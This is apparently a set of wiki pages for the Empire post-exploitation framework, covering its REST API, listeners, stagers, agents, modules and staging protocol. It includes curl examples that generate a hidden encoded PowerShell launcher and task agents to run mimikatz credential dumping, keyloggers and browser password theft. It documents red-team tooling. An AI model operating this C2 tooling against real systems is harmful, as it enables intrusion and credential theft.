192 **Response**:
193 ```json
194 {
195 "msg": "listener 'testing' successfully started.",
196 "success": true
197 }
198 ```
199
200 ### Failure Example
201
202 **Request**:
203 ```bash
204 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}'
205 ```
206
207 **Response**:
208 ```json
209 {
210 "msg": "Error starting listener on port 8080, port likely already in use.",
211 "success": false
212 }
213 ```
214
215 ## Kill a Listener
216
217 ### Handler
218
219 * **Handler** : DELETE /api/listeners/LISTENER_NAME
220 * Description : Kills the listener specifed by the name/id LISTENER_NAME.
221 * No parameters
222
223 #### Example
224
225 **Request**:
226 ```bash
227 curl --insecure -i https://localhost:1337/api/listeners/testing?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
228 ```
229
230 **Response**:
231 ```json
232 {
233 "success": true
234 }
235 ```
236
237 ## Kill All Listeners
238
239 ### Handler
240
241 * **Handler** : DELETE /api/listeners/all
242 * Description : Kills all listeners.
243 * No parameters
244
245 ### Example
246
247 **Request**:
248 ```bash
249 curl --insecure -i https://localhost:1337/api/listeners/all?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
250 ```
251
252 **Response**:
253 ```json
254 {
255 "success": true
256 }
257 ```
0 Modules are contained in the **./lib/modules/* ** folder. The template.py file has detailed information on a module's structure and what it should contain:
1
2 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_template.png|align=center]]
3
4 Additional options go in self.options after the **Agent** argument. A module like **./lib/modules/situational_awareness/userhunter.py** has an example of this. If the argument is required for execution, set Required to True, and if you want a default value filled, set Value.
5
6 In the generate() method, the script variable holds the main PowerShell script you want to run. End this script with the main function you want run, with no spaces after the triple quotes, e.g. Invoke-Something""". If your PowerShell script is large or reused by multiple modules, consider placing it in the **./data/module_source/* ** directory and reading it in as a resource.
7
8 If any of your options need special manipulation, modify the for option,values in self.options.iteritems(): code. For example, the credentials/mimikatz/golden_ticket needs some options tacked on in a special format, so it handles them accordingly.
9
10 You might have to play around with the formatted output for your module, e.g. **collection/filefinder** needs to append script += " | Out-String" to format the output correctly.
11
12 While testing, if you modify the PowerShell script itself, you don’t need to reload anything to retest running on an agent. If you modify the Python wrapper for the module, you can do **reload** in the module menu to reload the module.py file itself.
0 * [Get Current Modules](#get-current-modules)
1 * [Get Module by Name](#get-module-by-name)
2 * [Search for Module](#search-for-module)
3 * [Execute a Module](#execute-a-module)
4
5 ## Get Current Modules
6
7 ### Handler
8
9 * **Handler** : GET /api/modules
10 * Description : Returns all current Empire modules.
11 * No parameters
12
13 ### Example
14
15 **Request**:
16 ```bash
17 curl --insecure -i https://localhost:1337/api/modules?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
18 ```
19
20 **Response**:
21 ```json
22 {
23 "modules": [
24 {
25 "Author": [
26 "@xorrior"
27 ],
28 "Background": true,
29 "Comments": [
30 "https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-FoxDump.ps1",
31 "http://xakfor.net/threads/c-firefox-36-password-cookie-recovery.12192/"
32 ],
33 "Description": "This module will dump any saved passwords from Firefox to the console. This should work for any versionof Firefox above version 32. This will only be successful if the master password is blank or has not been set.",
34 "MinPSVersion": "2",
35 "Name": "collection/FoxDump",
36 "NeedsAdmin": false,
37 "OpsecSafe": true,
38 "OutputExtension": null,
39 "SaveOutput": false,
40 "options": {
41 "Agent": {
42 "Description": "Agent to run the module on.",
43 "Required": true,
44 "Value": ""
45 },
46 "OutFile": {
47 "Description": "Path to Output File",
48 "Required": false,
49 "Value": ""
50 }
51 }
52 },
53 ...
54 ]
55 }
56 ```
57
58 ## Get Module by Name
59
60 ### Handler
61
62 * **Handler** : GET /api/modules/MODULE_NAME
63 * Description : Returns the module specified by MODULE_NAME.
64 * No parameters
65
66 ### Example
67
68 **Request**:
69 ```bash
70 curl --insecure -i https://localhost:1337/api/modules/collection/keylogger?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
71 ```
72
73 **Response**:
74 ```json
75 {
76 "modules": [
77 {
78 "Author": [
79 "@obscuresec",
80 "@mattifestation",
81 "@harmj0y"
82 ],
83 "Background": true,
84 "Comments": [
85 "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1"
86 ],
87 "Description": "Logs keys pressed, time and the active window (when changed).",
88 "MinPSVersion": "2",
89 "Name": "collection/keylogger",
90 "NeedsAdmin": false,
91 "OpsecSafe": true,
92 "OutputExtension": null,
93 "options": {
94 "Agent": {
95 "Description": "Agent to run module on.",
96 "Required": true,
97 "Value": ""
98 }
99 }
100 }
101 ]
102 }
103 ```
104
105 ## Search for Module
106
107 ### Handler
108
109 * **Handler** : POST /api/modules/search
110 * Description : Searches all module fields for the given term.
111 * Parameters (none required) :
112 * term : the term to search for (required)
113
114 ### Example
115
116 **Request**:
117 ```bash
118 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/search?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -d '{"term":"keylogger"}'
119 ```
120
121 **Response**:
122 ```json
123 {
124 "modules": [
125 {
126 "Author": [
127 "@obscuresec",
128 "@mattifestation",
129 "@harmj0y"
130 ],
131 "Background": true,
132 "Comments": [
133 "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1"
134 ],
135 "Description": "Logs keys pressed, time and the active window (when changed).",
136 "MinPSVersion": "2",
137 "Name": "collection/keylogger",
138 "NeedsAdmin": false,
139 "OpsecSafe": true,
140 "OutputExtension": null,
141 "options": {
142 "Agent": {
143 "Description": "Agent to run module on.",
144 "Required": true,
145 "Value": ""
146 }
147 }
148 }
149 ]
150 }
151 ```
152
153 ## Execute a Module
154
155 ### Handler
156
157 * **Handler** : POST /api/modules/MODULE_NAME
158 * Description : Tasks an
159 * Parameters (none required) :
160 * Agent : the agent to task the module for (or all). Required.
161 * *additional* : any additional module values enumerated from module options
162
163 ### Example
164
165 **Request**:
166 ```bash
167 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/credentials/mimikatz/logonpasswords?token=$TOKEN -X POST -d '{"Agent":"WTN1LHHRYHFWHXU3"}'
168
169 ```
170
171 **Response**:
172 ```json
173 {
174 "msg": "tasked agent WTN1LHHRYHFWHXU3 to run module credentials/mimikatz/logonpasswords",
175 "success": true
176 }
177 ```
0 _TODO_
0 ## Initial Setup
1
2 Run the **./setup/install.sh** script. This will install the few dependencies and run the **./setup/setup_database.py** script. The setup_database.py file contains various setting that you can manually modify, and then initializes the ./data/empire.db backend database. No additional configuration should be needed- hopefully everything works out of the box.
3
4 Running `./empire` will start Empire, and `./empire --debug` will generate a verbose debug log at .**/empire.debug**. Running `./empire --debug 2` will provide verbose output to empire console. The included **./setup/reset.sh** will reset/reinitialize the database and launch Empire in debug mode. There's also a detailed "Empire Tips and Tricks" [post up here](http://enigma0x3.net/2015/08/26/empire-tips-and-tricks/).
5
6
7 ## Main Menu
8 Once you hit the main menu, you'll see the number of active agents, listeners, and loaded modules.
9
10 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_main_menu.png|align=center]]
11
12 The **help** command should work for all menus, and almost everything that can be tab-completable is (menu commands, agent names, local file paths where relevant, etc.).
13
14 You can ctrl+C to rage quit at any point. Starting Empire back up should preserve existing communicating agents, and any existing listeners will be restarted (as their config is stored in the sqlite backend database).
15
16 ## Listeners 101
17 The first thing you need to do it set up a local listener. The **listeners** command will jump you to the listener management menu. Any active listeners will be displayed, and this information can be redisplayed at any time with the **list** command. The `uselistener` command will allow you to select the type of listener. Hitting TAB after this command will show all available listener types. The info command will display the currently set listener options.
18
19 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_listeners_menu.png|align=center]]
20
21 The info command will display the currently configured listener options. Set your host/port by doing something like set Host http://192.168.52.142:8081. This is tab-completable, and you can also use domain names here). The port will automatically be pulled out, and the backend will detect if you're doing a HTTP or HTTPS listener. For HTTPS listeners, you must first set the CertPath to be a local .pem file. The provided **./setup/cert.sh** script will generate a self-signed cert and place it in **./data/empire.pem**.
22
23 Set optional and WorkingHours, KillDate, DefaultDelay, and DefaultJitter for the listener, as well as whatever name you want it to be referred to as. You can then type **execute** to start the listener. If the name is already taken, a nameX variant will be used, and Empire will alert you if the port is already in use.
24
25 ## Stagers 101
26 The staging process is described [[here|Staging]].
27
28 Empire implements various stagers in a modular format in **./lib/stagers/* **. These include dlls, macros, one-liners, and more. To use a stager, from the main, listeners, or agents menu, use usestager [tab] to tab-complete the set of available stagers, and you'll be taken to the individual stager's menu. The UI here functions similarly to the post module menu, i.e set/unset/info and generate to generate the particular output code.
29
30 For UserAgent and proxy options, default uses the system defaults, none clears that option from being used in the stager, and anything else is assumed to be a custom setting (note, this last bit isn't properly implemented for proxy settings yet). From the Listeners menu, you can run the **launcher [listener ID/name]** alias to generate the stage0 launcher for a particular listener (this is the stagers/launcher module in the background). This command can be run from a command prompt on any machine to kick off the staging process.
31
32 ## Agents 101
33 You should see a status message when an agent checks in (i.e. [+] Initial agent CGUBKC1R3YLHZM4V from 192.168.52.168 now active). Jump to the Agents menu with **agents**. Basic information on active agents should be displayed. Various commands can be executed on specific agent IDs or **all** from the agent menu, i.e. **kill all**. To interact with an agent, use **interact AGENT_NAME**. Agent names should be tab-completable for all commands.
34
35 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_agent_checkin.png|align=center]]
36
37 In an Agent menu, **info** will display more detailed agent information, and help will display all agent commands. If a typed command isn't resolved, Empire will try to interpret it as a shell command (like ps). You can **cd** directories, **upload/download** files, and **rename NEW_NAME**.
38
39 For each registered agent, a **./downloads/AGENT_NAME/** folder is created (this folder is renamed with an agent rename). An ./agent.log is created here with timestamped commands/results for agent communication. Downloads/module outputs are broken out into relevant folders here as well.
40
41 When you're finished with an agent, use **exit** from the Agent menu or **kill NAME/all** from the Agents menu. You'll get a red notification when the agent exits, and the agent will be removed from the interactive list after.
42
43 ## Modules 101
44 To see available modules, type **usemodule [tab]**. To search module names/descriptions, use **searchmodule privesc** and matching module names/descriptions will be output.
45
46 To use a module, for example share finder from PowerView, type **usemodule situational_awareness/network/sharefinder** and press enter. info will display all current module options.
47
48 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_module_menu.png|align=center]]
49
50 To set an option, like the domain for sharefinder, use **set Domain testlab.local**. The Agent argument is always required, and should be auto-filled from jumping to a module from an agent menu. You can also **set Agent [tab]** to tab-complete an agent name. **execute** will task the agent to execute the module, and **back** will return you to the agent's main menu. Results will be displayed as they come back.
51
52 ## Scripts
53 In addition to formalized modules, you are able to simply import and use a .ps1 script in your remote empire agent. Use the **scriptimport ./path/** command to import the script. The script will be imported and any functions accessible to the script will now be tab completable using the "scriptcmd" command in the agent. This works well for very large scripts with lots of functions that you do not want to break into a module.
0 Empire 3.1 RESTful API introduced a new set of commands for scripting and controlling Empire through HTTP JSON requests.
1
2 This API and documentation are based on the excellent example set by the [BeEF Project](https://github.com/beefproject/beef/wiki/BeEF-RESTful-API). All credit to [@antisnatchor](https://github.com/antisnatchor) and the entire BeEF community for the great examples to draw on.
3
4 * [Introduction](#introduction)
5 * [API Authentication](#api-authentication)
6 * [Version Information](#version-information)
7 * [Configuration Information](#configuration-information)
8 * [[Admin Functionality|Admin-Functionality]]
9 * [[User Management|User-Management]]
10 * [[Listeners|Listeners]]
11 * [[Stagers|Stagers]]
12 * [[Agents|Agents]]
13 * [[Modules|Modules]]
14 * [[Credentials|Credentials]]
15 * [[Reporting|Reporting]]
16
17
18 ## Introduction
19
20 There are currently two ways to launch the Empire RESTful API.
21
22 You can start a normal Empire instance with `./empire`, and then in another windows run `./empire --rest`. This starts the API without a fully-featured Empire instance, allowing you to still interact with the normal Empire UI.
23
24 Alternatively, you can run Empire 'headless' with `./empire --headless`, which will start a complete Empire instance as well as the RESTful API, and will suppress all output except for startup messages.
25
26 By default, the RESTful API is started on port 1337, over HTTPS using the certificate located at ./data/empire.pem (which can be generated with ./setup/cert.sh). This port can be changed by supplying `--restport <PORT_NUM>` on launch.
27
28 The default username for the API is 'empireadmin' and the default password is randomly generated by ./setup/setup_database.py during install. This value is retrievable by using `sqlitebrowser ./data/empire.db`, or can be modified in the setup_database.py file. You can also manually specify the username and password for a REST/headless launch with `--username admin --password 'Password123!'`.
29
30 You can review all cli options by running:
31 ```bash
32 # ./empire -h
33 usage: empire [-h] [--debug [DEBUG]] [-s [STAGER]]
34 [-o [STAGER_OPTIONS [STAGER_OPTIONS ...]]] [-l [LISTENER]] [-v]
35 [--rest] [--restport [RESTPORT]] [--headless]
36 [--username [USERNAME]] [--password [PASSWORD]]
37
38 optional arguments:
39 -h, --help show this help message and exit
40 --debug [DEBUG] Debug level for output (default of 1).
41 -s [STAGER], --stager [STAGER]
42 Specify a stager to generate. Lists all stagers if
43 none is specified.
44 -o [STAGER_OPTIONS [STAGER_OPTIONS ...]], --stager-options [STAGER_OPTIONS [STAGER_OPTIONS ...]]
45 Supply options to set for a stager in OPTION=VALUE
46 format. Lists options if nothing is specified.
47 -l [LISTENER], --listener [LISTENER]
48 Display listener options. Displays all listeners if
49 nothing is specified.
50 -v, --version Display current Empire version.
51 --rest Run the Empire RESTful API.
52 --restport [RESTPORT]
53 Port to run the Empire RESTful API on.
54 --headless Run Empire and the RESTful API headless without the
55 usual interface.
56 --username [USERNAME]
57 Start the RESTful API with the specified username
58 instead of pulling from empire.db
59 --password [PASSWORD]
60 Start the RESTful API with the specified password
61 instead of pulling from empire.db
62 ```
63
64 ## API Authentication
65
66 The Empire API uses a simple token-based auth system similar to [BeEF's](https://github.com/beefproject/beef/wiki/BeEF-RESTful-API#authentication). In order to make any requests to the API, a **?token=X** parameter must be supplied, otherwise a 403 error is returned.
67
68 The token is randomly generated on rest API start up and displayed on the command line:
69 ```bash
70 # ./empire --rest --password 'Password123!'
71
72 [*] Loading modules from: /mnt/hgfs/git/github/Empire/lib/modules/
73 * Starting Empire RESTful API on port: 1337
74 * RESTful API token: ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
75 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)
76 ```
77
78 To retrieve the session token through the login interface, you can POST a request to `/api/admin/login`. Here's an example with curl:
79 ```bash
80 # curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
81 HTTP/1.0 200 OK
82 Content-Type: application/json
83 Content-Length: 57
84 Server: Werkzeug/0.11.4
85 Date: Thu, 31 Mar 2016 23:38:59 GMT
86
87 {
88 "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
89 }
90 ```
91
92
93 ## Version Information
94
95 ### Handler
96
97 * **Handler** : GET /api/version
98 * Description : Returns the current Empire version.
99 * No parameters
100
101 ### Example
102
103 **Request**:
104 ```bash
105 curl --insecure -i https://localhost:1337/api/version?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
106 ```
107
108 **Response**:
109 ```json
110 {
111 "version": "1.5.0"
112 }
113 ```
114 ## Map Information
115
116 ### Handler
117
118 * **Handler** : GET /api/map
119 * Description : Returns list of all API routes.
120 * No parameters
121
122 ### Example
123
124 **Request**:
125 ```bash
126 curl --insecure -i https://localhost:1337/api/map?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
127 ```
128
129 **Response**:
130
131
132 ## Configuration Information
133
134 ### Handler
135
136 * **Handler** : GET /api/config
137 * Description : Returns the current Empire configuration.
138 * No parameters
139
140 ### Example
141
142 **Request**:
143 ```bash
144 curl --insecure -i https://localhost:1337/api/config?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
145 ```
146
147 **Response**:
148 ```json
149 {
150 "config": [
151 {
152 "api_password": "C3>Jl...",
153 "api_username": "empireadmin",
154 "autorun_command": "",
155 "autorun_data": "",
156 "current_api_token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5",
157 "default_cert_path": "",
158 "default_delay": 5,
159 "default_jitter": 0.0,
160 "default_lost_limit": 60,
161 "default_port": "8080",
162 "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
163 "install_path": "/home/user/Empire/",
164 "ip_blacklist": "",
165 "ip_whitelist": "",
166 "permanent_api_token": "gi5afo3umac6...",
167 "server_version": "Microsoft-IIS/7.5",
168 "stage0_uri": "index.asp",
169 "stage1_uri": "index.jsp",
170 "stage2_uri": "index.php",
171 "staging_key": "m@T%L?VH...",
172 "version": "1.5.0"
173 }
174 ]
175 }
176 ```
0 _TODO_
0 * [Get All Logged Events](#get-all-logged-events)
1 * [Get Agent Logged Events](#get-agent-logged-events)
2 * [Get Logged Events of Specific Type](#get-logged-events-of-specific-type)
3 * [Get Logged Events w/ Specific Msg](#get-logged-events-w-specific-msg)
4
5 ## Get All Logged Events
6
7 ### Handler
8
9 * **Handler** : GET /api/reporting
10 * Description : Returns all logged events.
11 * No parameters
12
13 ### Example
14
15 **Request**:
16 ```bash
17 curl --insecure -i https://localhost:1337/api/reporting?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
18 ```
19
20 **Response**:
21 ```json
22 {
23 "reporting": [
24 {
25 "ID": 1,
26 "agentname": "3GHZPWEGADMT2KPA",
27 "event_type": "checkin",
28 "message": "2016-03-31 17:36:34",
29 "timestamp": "2016-03-31 17:36:34"
30 },
31 ...
32 ]
33 }
34 ```
35
36 ## Get Agent Logged Events
37
38 ### Handler
39
40 * **Handler** : GET /api/reporting/agent/AGENT_NAME
41 * Description : Returns the events for a specified AGENT_NAME
42 * No parameters
43
44 ### Example
45
46 **Request**:
47 ```bash
48 curl --insecure -i https://localhost:1337/api/reporting/agent/initial?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
49 ```
50
51 **Response**:
52 ```json
53 {
54 "reporting": [
55 {
56 "ID": 28,
57 "agentname": "SMLHRBLTP4Z14SHC",
58 "event_type": "checkin",
59 "message": "2016-03-31 21:01:34",
60 "timestamp": "2016-03-31 21:01:34"
61 },
62 ...
63 ]
64 }
65 ```
66
67 ## Get Logged Events of Specific Type
68
69 ### Handler
70
71 * **Handler** : GET /api/reporting/type/MSG_TYPE
72 * Description : Returns the events of a specified MSG_TYPE (checkin, task, result).
73 * No parameters
74
75 ### Example
76
77 **Request**:
78 ```bash
79 curl --insecure -i https://localhost:1337/api/reporting/type/checkin?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
80 ```
81
82 **Response**:
83 ```json
84 {
85 "reporting": [
86 {
87 "ID": 1,
88 "agentname": "3GHZPWEGADMT2KPA",
89 "event_type": "checkin",
90 "message": "2016-03-31 17:36:34",
91 "timestamp": "2016-03-31 17:36:34"
92 },
93 {
94 "ID": 4,
95 "agentname": "PK4HAFLH4231E14X",
96 "event_type": "checkin",
97 "message": "2016-03-31 17:36:50",
98 "timestamp": "2016-03-31 17:36:50"
99 },
100 ...
101 ]
102 }
103 ```
104
105 ## Get Logged Events w/ Specific Msg
106
107 ### Handler
108
109 * **Handler** : GET /api/reporting/msg/MSG
110 * Description : Returns the events matching a specific MSG.
111 * No parameters
112
113 ### Example
114
115 **Request**:
116 ```bash
117 curl --insecure -i https://localhost:1337/api/reporting/msg/mimikatz?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
118 ```
119
120 **Response**:
121 ```json
122 {
123 "reporting": [
124 {
125 "ID": 5,
126 "agentname": "PK4HAFLH4231E14X",
127 "event_type": "task",
128 "message": "TASK_CMD_JOB - function Invoke-Mimikatz\n{\n[CmdletBinding(DefaultP",
129 "timestamp": "2016-03-31 17:36:54"
130 },
131 ...
132 ]
133 }
134 ```
0 * [Get Current Stagers](#get-current-stagers)
1 * [Get Stager by Name](#get-stager-by-name)
2 * [Generate Stager](#generate-stager)
3
4 ## Get Current Stagers
5
6 ### Handler
7
8 * **Handler** : GET /api/stagers
9 * Description : Returns all current Empire stagers and options.
10 * No parameters
11
12 ### Example
13
14 **Request**:
15 ```bash
16 curl --insecure -i https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
17 ```
18
19 **Response**:
20 ```json
21 {
22 "stagers": [
23 {
24 "Author": [
25 "@harmj0y"
26 ],
27 "Comments": [
28 ""
29 ],
30 "Description": "Generates a ducky script that runes a one-liner stage0 launcher for Empire.",
31 "Name": "ducky",
32 "options": {
33 "Listener": {
34 "Description": "Listener to generate stager for.",
35 "Required": true,
36 "Value": ""
37 },
38 "OutFile": {
39 "Description": "File to output duckyscript to.",
40 "Required": true,
41 "Value": ""
42 },
43 "Proxy": {
44 "Description": "Proxy to use for request (default, none, or other).",
45 "Required": false,
46 "Value": "default"
47 },
48 "ProxyCreds": {
49 "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
50 "Required": false,
51 "Value": "default"
52 },
53 "StagerRetries": {
54 "Description": "Times for the stager to retry connecting.",
55 "Required": false,
56 "Value": "0"
57 },
58 "UserAgent": {
59 "Description": "User-agent string to use for the staging request (default, none, or other).",
60 "Required": false,
61 "Value": "default"
62 }
63 }
64 },
65 ...
66 ]
67 }
68 ```
69
70 ## Get Stager by Name
71
72 ### Handler
73
74 * **Handler** : GET /api/stagers/STAGER_NAME
75 * Description : Returns the Empire stager specified by STAGER_NAME.
76 * No parameters
77
78 ### Example
79
80 **Request**:
81 ```bash
82 curl --insecure -i https://localhost:1337/api/stagers/dll?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
83 ```
84
85 **Response**:
86 ```json
87 {
88 "stagers": [
89 {
90 "Author": [
91 "@sixdub"
92 ],
93 "Comments": [
94 ""
95 ],
96 "Description": "Generate a PowerPick Reflective DLL to inject with stager code.",
97 "Name": "dll",
98 "options": {
99 "Arch": {
100 "Description": "Architecture of the .dll to generate (x64 or x86).",
101 "Required": true,
102 "Value": "x64"
103 },
104 "Listener": {
105 "Description": "Listener to use.",
106 "Required": true,
107 "Value": ""
108 },
109 "OutFile": {
110 "Description": "File to output dll to.",
111 "Required": true,
112 "Value": "/tmp/launcher.dll"
113 },
114 "Proxy": {
115 "Description": "Proxy to use for request (default, none, or other).",
116 "Required": false,
117 "Value": "default"
118 },
119 "ProxyCreds": {
120 "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
121 "Required": false,
122 "Value": "default"
123 },
124 "StagerRetries": {
125 "Description": "Times for the stager to retry connecting.",
126 "Required": false,
127 "Value": "0"
128 },
129 "UserAgent": {
130 "Description": "User-agent string to use for the staging request (default, none, or other).",
131 "Required": false,
132 "Value": "default"
133 }
134 }
135 }
136 ]
137 }
138 ```
139
140 ## Generate Stager
141
142 ### Handler
143
144 * **Handler** : POST /api/stagers
145 * Description : Returns the Empire stager specified by parameters.
146 * Parameters :
147 * StagerName : the stager name to generate (required)
148 * Listener : the listener name to generate the stager for (required)
149 * *additional* : any additional stager values enumerated from stager options
150
151 ### Example
152
153 **Request**:
154 ```bash
155 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"StagerName":"launcher", "Listener":"testing"}'
156 ```
157
158 **Response**:
159 ```json
160 {
161 "launcher": {
162 "Base64": {
163 "Description": "Switch. Base64 encode the output.",
164 "Required": true,
165 "Value": "True"
166 },
167 "Listener": {
168 "Description": "Listener to generate stager for.",
169 "Required": true,
170 "Value": "testing"
171 },
172 "OutFile": {
173 "Description": "File to output launcher to, otherwise displayed on the screen.",
174 "Required": false,
175 "Value": ""
176 },
177 "Output": "powershell.exe -NoP -sta -NonI -W Hidden -Enc JAB...KQA=",
178 "Proxy": {
179 "Description": "Proxy to use for request (default, none, or other).",
180 "Required": false,
181 "Value": "default"
182 },
183 "ProxyCreds": {
184 "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
185 "Required": false,
186 "Value": "default"
187 },
188 "StagerRetries": {
189 "Description": "Times for the stager to retry connecting.",
190 "Required": false,
191 "Value": "0"
192 },
193 "UserAgent": {
194 "Description": "User-agent string to use for the staging request (default, none, or other).",
195 "Required": false,
196 "Value": "default"
197 }
198 }
199 }
200 ```
0 The key-exchange protocol used by Empire is called [Encrypted Key Exchange](https://en.wikipedia.org/wiki/Encrypted_key_exchange) (EKE). There’s a better overview [here](http://stackoverflow.com/questions/15779392/encrypted-key-exchange-understanding).
1
2 For Empire, a small launcher (a basic proxy-aware IEX download cradle) is used to download/execute the patched **./data/stager.ps1** script. The URI resource for this request can be specified in **./setup_database.py** under the **STAGE0_URI** paramater. The **stager.ps1** is case-randomized then XOR encrypted with the AES staging key from the database config. This means the key-negotiation stager delivered to each agent will be randomized/different per server, but will be static for each server instance. The staging key is sent with the launcher in order to decrypt the stager, so is assumed to be "burned" by network defenders.
3
4 This stager generates a randomized RSA private/public key pair in memory, uses the AES staging key to post the encrypted RSA public key to the **STAGE1_URI** resource (also specifiable in **./setup_database.py**). A random 12-character SESSIONID is also generated at this point, which is the initial name the agent uses to check in. After this post, the server returns the server’s epoch time and a randomized AES session key, encrypted in the agent’s public key.
5
6 The agent decrypts the values, gathers basic system information, and posts this information to the server encrypted with the new AES session key to **STAGE2_URI**. The server then returns the patched **./data/agent.ps1**, which can be thought of as the standard API. From here, the agent starts its beaconing behavior.
7
8 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_staging_process.png|align=center]]
0 * [Display All Users](#Display-All-Users)
1 * [Current User](#Current-Users)
2 * [Create New User](#Create-New-Users)
3 * [Disable User](#Disable-User)
4
5 ## Display All Users
6
7 ### Handler
8
9 * **Handler** : GET /api/users
10 * Description : Returns all users from database
11 * No parameters
12
13 ### Example
14
15 **Request**:
16 ```bash
17 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle
18 ```
19
20 **Response**:
21 ```json
22 {
23 "users": [
24 {
25 "ID": 1,
26 "admin": true,
27 "enabled": true,
28 "last_logon_time": "2020-03-21 18:57:36",
29 "username": "empireadmin"
30 }
31 ]
32 }
33 ```
34
35 ## Current User
36
37 ### Handler
38
39 * **Handler** : POST /api/users/me
40 * Description : Returns the current user
41 * No parameters
42
43 ### Example
44
45 **Request**:
46 ```bash
47 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users/me?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X POST
48 ```
49
50 **Response**:
51 ```json
52 {
53 "admin": true,
54 "api_token": "oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle",
55 "enabled": true,
56 "id": 1,
57 "last_logon_time": "2020-03-21 18:57:36",
58 "username": "empireadmin"
59 }
60 ```
61
62 ## Create New User
63
64 ### Handler
65
66 * **Handler** : POST /api/users
67 * Description : Creates a new users.
68 * No parameters
69
70 ### Example
71
72 **Request**:
73 ```bash
74 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X POST -d '{"username":"user", "password":"pass"}'
75 ```
76
77 **Response**:
78 ```json
79 {
80 "admin": true,
81 "api_token": "oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle",
82 "enabled": true,
83 "id": 1,
84 "last_logon_time": "2020-03-21 18:57:36",
85 "username": "empireadmin"
86 }
87 ```
88
89 ## Disable User
90
91 ### Handler
92
93 * **Handler** : PUT /api/users/UID/disable
94 * Description : Disables a users account from their UID.
95 * No parameters
96
97 ### Example
98
99 **Request**:
100 ```bash
101 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users/1/disable?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X PUT
102 ```
103
104 **Response**:
105 ```json
106 {
107 "success": true,
108 }
109 ```
0 [PowerShellEmpire](http:/www.powershellempire.com/) | [Code](https://github.com/BC-SECURITY/Empire)
0 ## I - Overview
1 1. [[Quick Start|Quickstart]]
2 1. [[Architecture|Architecture]]
3 1. [[Staging|Staging]]
4 1. [[Installation|Installation]]
5 1. [[Configuration|Configuration]]
6
7 ## II - Modules
8 1. [[Code Execution|Code-Execution]]
9 1. [[Collection|Collection]]
10 1. [[Credentials|Getting-Credentials]]
11 1. [[Exfiltration|Exfiltration]]
12 1. [[Exploitation|Exploitation]]
13 1. [[Lateral Movement|Lateral-Movement]]
14 1. [[Management|Management]]
15 1. [[Persistence|Persistence]]
16 1. [[Privesc|Privesc]]
17 1. [[Recon|Recon]]
18 1. [[Situational Awareness|Situational-Awareness]]
19 1. [[TrollSploit|TrollSploit]]
20
21 ## III - RESTful API
22 1. [[RestFul API|RESTful-API]]
23 1. [[Admin Functionality|Admin-Functionality]]
24 1. [[Listeners|Listeners]]
25 1. [[Stagers|Stagers]]
26 1. [[Agents|Agents]]
27 1. [[Modules|Modules]]
28 1. [[Credentials|Credentials]]
29 1. [[Reporting|Reporting]]
30 1. [[User Management|User-Management]]
31
32 ## IV - Advanced
33 1. [[Module Development|Module-Development]]